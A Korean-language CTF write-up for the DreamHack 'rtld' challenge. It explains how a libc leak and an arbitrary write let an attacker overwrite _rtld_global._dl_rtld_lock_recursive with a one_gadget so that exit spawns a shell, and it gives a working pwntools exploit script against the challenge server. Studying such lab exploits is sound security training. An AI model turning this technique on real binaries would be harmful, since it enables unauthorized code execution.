# 보호기법
# process
int main()
{
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout);
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
libc leak을 할 수 있고, 특정 addr에 원하는 value를 쓸 수 있다.
Partial RELRO이므로 위의 과정으로 GOT overwrite이 가능하다.
exit로 종료되는 경우 rtld를 덮으면 프로그램의 흐름을 변조가 가능하다.
_libc_start_main함수에서 exit를 자동으로 호출해서 프로그램 자체에서 exit를 쓰지 않아도 exit 사용 가능하다.
one_gadget은 조건 맞지 않으면 터지는데 rtld는 인자도 줄 수 있어서 rtld가 획기적이라고 한다.
함수 주소 주기 위해서는 _rtld_global._dl_rtld_lock_recursive에 주소를 넣고 _rtld_global._dl_load_lock에 인자를 주면 어떤 경우에도 실행이 된다.
_rtld_global._dl_rtld_lock_recursive: 함수 주소
_rtld_global._dl_load_lock: 함수 인자
이 _rtld_global_lock_recursive에는 libc 주소가 적혀있는데, 이 주소를 one gadget으로 덮으면 exit 시 one gadget 실행이 가능하다.
_GI_exit 함수는 _run_exit_handlers를 호출하는데, _run_exit_handlers는 ld.so에 존재하는 _di._fini를 호출한다.
void
_dl_fini (void)
{
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
__rtld_lock_unlock_recursive (GL(dl_load_lock));
_di_fini 함수는 _dl_load_lock 인자로 _rtld_lock_lock_recursive 함수를 호출한다.
이 함수와 인자는 _rtld_global 구조체의 멤버이다.
_rtld_global 구조체가 위치한 영역은 쓰기 권한이 있어서 _rtld_lock_lock_recursive 함수를 system으로, _dl_load_lock 인자를 'sh'로 덮어쓸 수 있으면 system('sh') 호출이 가능하다.
_rtld_lock_lock_recursive를 one gadget으로 덮어 one gadget 호출을 할 수도 있다.
libc leak이 가능하므로 libc offset을 구해서 libc base + offset으로 실행 시 _rtld_global._dl_rtld_lock_recursive의 정확한 주소를 구해 addr로 주고, value로는 one gadget을 주면 _rtld_global._dl_rtld_lock_recursive에 onegadget을 쓸 수 있다.
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./rtld")
p = remote("host1.dreamhack.games", 8246)
elf = ELF("./rtld")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(": ")
libcBase = int(p.recv(14), 16) - libc.symbols['_IO_2_1_stdout_']
log.info("libcBase : "+hex(libcBase))
rtld = libcBase + 0x5f0f48
one_gadget = libcBase + 0xf1147
#gdb.attach(p)
p.sendlineafter("addr: ", str(rtld))
p.sendlineafter("value: ", str(one_gadget))
p.interactive()
# exploit
[DreamHack] basic_rop_x86 (0) | 2020.05.31 |
---|---|
[DreamHack] basic_rop_x64 (0) | 2020.05.31 |
[DreamHack] oneshot (2) | 2020.05.31 |
[DreamHack] ssp_001 (0) | 2020.05.31 |
[Dreamhack] ssp_000 (0) | 2020.05.31 |